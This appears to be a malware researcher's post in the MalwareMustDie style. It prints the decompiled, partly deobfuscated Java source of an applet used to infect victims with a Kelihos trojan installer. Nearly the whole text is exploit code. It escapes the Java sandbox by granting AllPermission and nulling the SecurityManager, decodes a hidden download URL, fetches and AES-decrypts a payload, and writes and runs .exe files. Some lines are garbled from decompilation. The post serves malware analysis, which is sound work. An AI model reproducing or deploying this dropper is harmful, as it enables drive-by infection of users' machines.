i did the replaces the XX with "" and it cleans up a little bit: // #MalwareMustDie - applet used to infect kelihos installer trojan // Infector are calling this jar with the below code/ parameters : // @unixfreaxjp ~]$ uname;date // FreeBSD // Sat Apr 20 20:37:43 JST 2013 Unexpected Error. Please, try again later. // Here goes the Jar's decompiled main class... import java.applet.Applet; public class Code extends Applet { static String Anerl = ""; public void Igigi() throws Exception { Thread.sleep(10L); } public void init() { Anerl = getParameter(Lajuv.Igogo); Bannu Bzir = new Bannu(); ClassLoader r = getClass().getClassLoader(); for (int i = 0; i < 100000; i++) Bzir.Tnby(null); try { Igigi(); } catch (Exception ex) { } Pizizi fsae = Bzir.Tnby(r); Pizizi.Talnat(fsae); } } // All went to Lajuv, Bannu & Pizizi classes.... // Lajuv.class import java.io.InputStream; import java.lang.reflect.Constructor; import java.net.URL; import javax.crypto.spec.SecretKeySpec; public class Lajuv extends Pizizi { public static String Igogo = "name"; public static String VNihik = "java.io.tmpdir"; public static String udrkq = ".e".concat("xe"); static SecretKeySpec mviopea = new SecretKeySpec(Ttaniiy.bdereu.getBytes(), "AES"); public static String CPepf = "file:///"; static InputStream Xmmuit; static URL Rigi; public static String VOdo9t = "Likuu"; public static String VTgd = "Likuu.class"; public static void Nryto() throws Exception { Class cls = Class.forName("java.net.URL"); Rigi = (URL)cls.getConstructor(new Class[] { String.class }).newInstance(new Object[] { CPepf }); } static void LASi() throws Exception { Xmmuit.close(); } } // bannu.class public class Bannu extends Mslakt { Pizizi Sportrt = null; static ClassLoader Tuxiuo; void Chibo(ClassLoader paramClassLoader) { this.Tuxiuo = paramClassLoader; } Pizizi Tnby(ClassLoader zq3) { if (zq3 == this.Sportrt) return null; Object ag = Tuxiuo; Chibo(zq3); if (this.Sportrt != this.Vubnipyx1) return this.Vubnipyx1; if (this.Sportrt != this.Vubnipyx2) return this.Vubnipyx2; if (this.Sportrt != this.Vubnipyx3) return this.Vubnipyx3; if (this.Sportrt != this.Vubnipyx4) return this.Vubnipyx4; if (this.Sportrt != this.Vubnipyx5) return this.Vubnipyx5; if (this.Sportrt != this.Vubnipyx6) return this.Vubnipyx6; if (this.Sportrt != this.Vubnipyx7) return this.Vubnipyx7; if (this.Sportrt != this.Vubnipyx8) return this.Vubnipyx8; if (this.Sportrt != this.Vubnipyx9) return this.Vubnipyx9; if (this.Sportrt != this.Vubnipyx10) return this.Vubnipyx10; if (this.Sportrt != this.Vubnipyx11) return this.Vubnipyx11; if (this.Sportrt != this.Vubnipyx12) return this.Vubnipyx12; if (this.Sportrt != this.Vubnipyx13) return this.Vubnipyx13; if (this.Sportrt != this.Vubnipyx14) return this.Vubnipyx14; if (this.Sportrt != this.Vubnipyx15) return this.Vubnipyx15; return Obge(); } } // Pizizi classs... import java.io.InputStream; import java.security.ProtectionDomain; public class Pizizi extends ClassLoader { public static void Talnat(Pizizi xocnvoi) { try { InputStream zdfearj = xocnvoi.getResourceAsStream(Lajuv.VTgd); int i = zdfearj.available(); Cheii6.Vavoret(); byte[] kxololr = new byte[i]; zdfearj.read(kxololr, 0, i); Lajuv.Nryto(); ProtectionDomain chwej4 = (ProtectionDomain)Ttaniiy.kobibe(); xocnvoi.defineClass(Lajuv.VOdo9t, kxololr, 0, kxololr.length, chwej4).newInstance(); } catch (Exception e) { } } } // Mslakt classs is called by Bannu... public class Mslakt extends the Maktpnb class { Pizizi Obge() { if (this.Chicki != this.Vubnipyx18) return this.Vubnipyx18; if (this.Chicki != this.Vubnipyx19) return this.Vubnipyx19; if (this.Chicki != this.Vubnipyx20) return this.Vubnipyx20; if (this.Chicki != this.Vubnipyx21) return this.Vubnipyx21; if (this.Chicki != this.Vubnipyx22) return this.Vubnipyx22; if (this.Chicki != this.Vubnipyx23) return this.Vubnipyx23; if (this.Chicki != this.Vubnipyx24) return this.Vubnipyx24; if (this.Chicki != this.Vubnipyx25) return this.Vubnipyx25; if (this.Chicki != this.Vubnipyx26) return this.Vubnipyx26; if (this.Chicki != this.Vubnipyx27) return this.Vubnipyx27; if (this.Chicki != this.Vubnipyx28) return this.Vubnipyx28; if (this.Chicki != this.Vubnipyx29) return this.Vubnipyx29; if (this.Chicki != this.Vubnipyx30) return this.Vubnipyx30; if (this.Zion != this.Vubnipyx31) return this.Vubnipyx31; if (this.Zion != this.Vubnipyx32) return this.Vubnipyx32; if (this.Zion != this.Vubnipyx33) return this.Vubnipyx33; if (this.Zion != this.Vubnipyx34) return this.Vubnipyx34; return Fukkcia(); } } // Ttaniiy class was called from Lajuv import java.lang.reflect.Constructor; import java.security.CodeSource; import java.security.cert.Certificate; public class Ttaniiy { static String mivnr = "java.security.ProtectionDomain"; public static String jvuitk = "bcd21e295e55ef6e"; public static String bdereu = "8a61385ec6834ce2"; public static Object kobibe() throws Exception { Class rahes = Class.forName("java.security.PermissionCollection"); return Class.forName(mivnr).getConstructor(new Class[] { CodeSource.class, rahes }).newInstance(new Object[] { new CodeSource(Lajuv.Rigi, new Certificate[0]), Tabjby.Soozl }); } } // Cheii6 class was called from Lajuv import java.io.FileOutputStream; import java.security.AllPermission; import java.security.Permissions; public class Cheii6 { static String TOnt = "Xh".concat("b25t3o"); public static String AES/CBC/NoPadding = "AES/CBC/NoPadding"; public static void Vavoret() throws Exception { Object sgqh = new AllPermission(); Tabjby.Soozl.add((AllPermission)sgqh); } public static void CHiobi(byte[] skkivr, String aset) throws Exception { FileOutputStream ibguit = new FileOutputStream(aset); ibguit.write(skkivr, 0, skkivr.length); ibguit.close(); Kefir.Clani(aset); } } // Tabjby class was called by Ttaniiy import java.security.Permissions; public class Tabjby { static Permissions Soozl = new Permissions(); public static boolean HGHib(byte[] bsrw, int offset, byte[] rtuisr) { if (rtuisr.length > bsrw.length - offset) { return false; } for (int i = 0; i < rtuisr.length; i++) { if (bsrw[(offset + i)] != rtuisr[i]) return false; } return true; } public static int ANaib(byte[] bsrw, byte[] rtuisr) { for (int i = 0; i < bsrw.length; i++) { if (HGHib(bsrw, i, rtuisr)) return i; } return -94; } } // Other classes with same interracted var obfs calls: // Kanalia class... import java.io.ByteArrayOutputStream; import java.io.InputStream; import java.util.Arrays; public class Kanalia { static String pooivh = "xywewey"; static String kbcubt = "aeraetk"; public static void Bonwe(byte[] kss7er) throws Exception { try { String dsgoir = System.getProperty(Lajuv.VNihik); if (dsgoir.charAt(dsgoir.length() - 1) != '\\') { dsgoir = dsgoir + "\\"; } byte[] zxgetj = Kefir.Talln(kss7er); int xcvnwe = Tabjby.ANaib(zxgetj, Cheii6.TOnt.getBytes()); byte[][] mysres = new byte[2][]; String xcbbrb = dsgoir + pooivh + Lajuv.udrkq; String xcbbrb1 = dsgoir + kbcubt + Lajuv.udrkq; if (xcvnwe == -94) { Cheii6.CHiobi(zxgetj, xcbbrb); } else { mysres[0] = Arrays.copyOfRange(zxgetj, 0, xcvnwe); mysres[1] = Arrays.copyOfRange(zxgetj, xcvnwe + 8, zxgetj.length); Cheii6.CHiobi(mysres[0], xcbbrb); Cheii6.CHiobi(mysres[1], xcbbrb1); } } catch (Exception e) { } } byte[] Sainte(String zwejasy) throws Exception { Lajuv.Xmmuit = Kefir.Sankx(zwejasy); ByteArrayOutputStream vointg = new ByteArrayOutputStream(); int i; for (int j = 0; (i = Lajuv.Xmmuit.read()) != -1; j++) vointg.write(i); vointg.close(); Lajuv.LASi(); return vointg.toByteArray(); } } // Kefir class.. import java.io.IOException; import java.io.InputStream; import java.net.URL; import javax.crypto.Cipher; import javax.crypto.spec.IvParameterSpec; public class Kefir { public static void Clani(String zellit) throws IOException { ProcessBuilder kelnt = new ProcessBuilder(new String[] { zellit }); Process p = kelnt.start(); } public static InputStream Sankx(String colka) throws Exception { URL frontodote = new URL(colka); String osos = "sdo"; frontodote.openConnection(); return frontodote.openStream(); } public static byte[] Talln(byte[] zdherj) throws Exception { Cipher vert = Cipher.getInstance(Cheii6.AES/CBC/NoPadding); IvParameterSpec unttd = new IvParameterSpec(Ttaniiy.jvuitk.getBytes()); vert.init(2, Lajuv.mviopea, unttd); return vert.doFinal(zdherj); } } // Likuu class..., callback to Kanalia import java.lang.reflect.Method; import java.security.AccessController; import java.security.PrivilegedExceptionAction; public class Likuu implements PrivilegedExceptionAction { public static void CLi() throws Exception { Class.forName("java.lang.System").getMethod("setSecurityManager", new Class[] { SecurityManager.class }).invoke(null, new Object[] { null }); } public Likuu() { try { AccessController.doPrivileged(this); } catch (Exception e) { } } public Object run() throws Exception { CLi(); Kanalia zsqt = new Kanalia(); String gedre = Mizi.VObor(Code.Anerl); Kanalia.Bonwe(zsqt.Sainte(gedre)); return null; } } // Maktpnb class.. public class Maktpnb extends Mizi { Object Dedbef = null; public static String Soisi = "java.security.AllPermission"; Pizizi Chicki = null; Pizizi Ellebut() { if (this.Zion != this.Liibsr) return this.Liibsr; if (this.Zion != this.Vubnipyx62) return this.Vubnipyx62; if (this.Zion != this.Vubnipyx63) return this.Vubnipyx63; if (this.Zion != this.Vubnipyx64) return this.Vubnipyx64; if (this.Zion != this.Vubnipyx65) return this.Vubnipyx65; if (this.Zion != this.Vubnipyx66) return this.Vubnipyx66; if (this.Zion != this.Vubnipyx67) return this.Vubnipyx67; if (this.Zion != this.Vubnipyx68) return this.Vubnipyx68; if (this.Zion != this.Vubnipyx69) return this.Vubnipyx69; if (this.Zion != this.Vubnipyx70) return this.Vubnipyx70; if (this.Zion != this.Vubnipyx71) return this.Vubnipyx71; if (this.Zion != this.Vubnipyx72) return this.Vubnipyx72; if (this.Zion != this.Vubnipyx73) return this.Vubnipyx73; if (this.Zion != this.Vubnipyx74) return this.Vubnipyx74; if (this.Zion != this.Vubnipyx75) return this.Vubnipyx75; if (this.Zion != this.Vubnipyx76) return this.Vubnipyx76; if (this.Zion != this.Vubnipyx77) return this.Vubnipyx77; if (this.Zion != this.Vubnipyx78) return this.Vubnipyx88; if (this.Zion != this.Vubnipyx79) return this.Vubnipyx79; if (this.Zion != this.Vubnipyx80) return this.Vubnipyx80; if (this.Zion != this.Vubnipyx81) return this.Vubnipyx81; if (this.Zion != this.Vubnipyx82) return this.Vubnipyx82; if (this.Zion != this.VOAod) return this.VOAod; return Morrea(); } Pizizi Fukkcia() { if (this.Zion != this.Vubnipyx35) return this.Vubnipyx35; if (this.Zion != this.Vubnipyx36) return this.Vubnipyx36; if (this.Zion != this.Vubnipyx37) return this.Vubnipyx37; if (this.Zion != this.Vubnipyx38) return this.Vubnipyx38; if (this.Zion != this.Vubnipyx39) return this.Vubnipyx39; if (this.Zion != this.Vubnipyx40) return this.Vubnipyx40; if (this.Zion != this.Vubnipyx41) return this.Vubnipyx41; if (this.Zion != this.Vubnipyx42) return this.Vubnipyx42; if (this.Zion != this.Vubnipyx43) return this.Vubnipyx43; if (this.Zion != this.Vubnipyx43) return this.Vubnipyx44; if (this.Zion != this.Vubnipyx45) return this.Vubnipyx45; if (this.Zion != this.Vubnipyx46) return this.Vubnipyx46; if (this.Zion != this.Vubnipyx47) return this.Vubnipyx47; if (this.Zion != this.Vubnipyx48) return this.Vubnipyx48; if (this.Zion != this.Vubnipyx49) return this.Vubnipyx49; if (this.Zion != this.Vubnipyx50) return this.Vubnipyx50; if (this.Zion != this.Vubnipyx51) return this.Vubnipyx51; if (this.Zion != this.Vubnipyx52) return this.Vubnipyx52; if (this.Zion != this.Vubnipyx53) return this.Vubnipyx53; if (this.Zion != this.Vubnipyx53) return this.Vubnipyx54; if (this.Zion != this.Vubnipyx55) return this.Vubnipyx55; if (this.Zion != this.Vubnipyx56) return this.Vubnipyx56; if (this.Zion != this.Vubnipyx57) return this.Vubnipyx57; if (this.Zion != this.Vubnipyx58) return this.Vubnipyx58; if (this.Zion != this.Vubnipyx59) return this.Vubnipyx59; if (this.Zion != this.Vubnipyx60) return this.Vubnipyx60; return Ellebut(); } Pizizi Morrea() { if (this.Zion != this.Chaik) return this.Chaik; if (this.Zion != this.Vubnipyx85) return this.Vubnipyx85; if (this.Zion != this.Vubnipyx86) return this.Vubnipyx86; if (this.Zion != this.Vubnipyx87) return this.Vubnipyx87; if (this.Zion != this.Vubnipyx88) return this.Vubnipyx88; if (this.Zion != this.Vubnipyx89) return this.Vubnipyx89; if (this.Zion != this.Vubnipyx90) return this.Vubnipyx90; if (this.Zion != this.Vubnipyx91) return this.Vubnipyx91; if (this.Zion != this.Vubnipyx92) return this.Vubnipyx92; if (this.Zion != this.Vubnipyx93) return this.Vubnipyx93; if (this.Zion != this.Vubnipyx94) return this.Vubnipyx94; if (this.Zion != this.Pfibe) return this.Pfibe; return null; } } // Calling to this Mizi class... public class Mizi { Pizizi Zion = null; Pizizi Vubnipyx1; Pizizi Vubnipyx2; Pizizi Vubnipyx3; Pizizi Vubnipyx4; Pizizi Vubnipyx5; Pizizi Vubnipyx6; Pizizi Vubnipyx7; Pizizi Vubnipyx8; Pizizi Vubnipyx9; String srtj = "zdfjw3"; Pizizi Vubnipyx37; Pizizi Vubnipyx38; Pizizi Vubnipyx39; Pizizi Vubnipyx40; Pizizi Vubnipyx41; Pizizi Vubnipyx42; Pizizi Vubnipyx43; Pizizi Vubnipyx44; Pizizi Vubnipyx45; Pizizi Vubnipyx46; Pizizi Vubnipyx47; String erjs = "136i"; Pizizi Vubnipyx48; Pizizi Vubnipyx49; Pizizi Vubnipyx50; Pizizi Vubnipyx51; Pizizi Vubnipyx52; Pizizi Vubnipyx53; Pizizi Vubnipyx54; Pizizi Vubnipyx55; Pizizi Vubnipyx56; Pizizi Vubnipyx57; Pizizi Vubnipyx58; Pizizi Vubnipyx59; Pizizi Vubnipyx60; Pizizi Liibsr; Pizizi Vubnipyx62; String df = "aer743"; Pizizi Vubnipyx63; Pizizi Vubnipyx64; Pizizi Vubnipyx65; Pizizi Vubnipyx66; Pizizi Vubnipyx67; Pizizi Vubnipyx68; Pizizi Vubnipyx69; Pizizi Vubnipyx70; Pizizi Vubnipyx71; Pizizi Vubnipyx72; Pizizi Vubnipyx17; String s65er = " cn2d"; Pizizi Vubnipyx18; Pizizi Vubnipyx19; Pizizi Vubnipyx20; Pizizi Vubnipyx21; Pizizi Vubnipyx22; Pizizi Vubnipyx23; Pizizi Vubnipyx24; Pizizi Vubnipyx25; Pizizi Vubnipyx26; Pizizi Vubnipyx27; Pizizi Vubnipyx28; Pizizi Vubnipyx29; Pizizi Vubnipyx30; Pizizi Vubnipyx31; Pizizi Vubnipyx32; String v65nke = "fsdty"; Pizizi Vubnipyx33; Pizizi Vubnipyx34; Pizizi Vubnipyx35; Pizizi Vubnipyx36; Pizizi Vubnipyx73; Pizizi Vubnipyx74; Pizizi Vubnipyx75; Pizizi Vubnipyx76; Pizizi Vubnipyx77; Pizizi Vubnipyx78; Pizizi Vubnipyx79; Pizizi Vubnipyx80; Pizizi Vubnipyx81; Pizizi VOAod; Pizizi Chaik; Pizizi Vubnipyx85; Pizizi Vubnipyx86; Pizizi Vubnipyx87; String ssdh = "bnbery"; Pizizi Vubnipyx88; Pizizi Vubnipyx89; Pizizi Vubnipyx90; Pizizi Vubnipyx91; Pizizi Vubnipyx92; Pizizi Vubnipyx93; Pizizi Vubnipyx94; Pizizi Pfibe; Pizizi Vubnipyx82; Pizizi Vubnipyx10; Pizizi Vubnipyx11; Pizizi Vubnipyx12; Pizizi Vubnipyx13; Pizizi Vubnipyx14; Pizizi Vubnipyx15; Pizizi Vubnipyx16; String sdgo = "cxdxd"; public static String VObor(String iitusix) { String o = "qwertyuiopasdfghjklzxcvbnm0123456789.-=_/:?&"; String c = "qb8ug7yi?celz6_/1ns3.5o&hxm4:dftvwa-0jrk92p="; String ifuss = ""; for (int i = 0; i < iitusix.length(); i++) { ifuss = ifuss + o.charAt(c.indexOf(iitusix.charAt(i))); } return ifuss; } } --- #MalwareMustDie!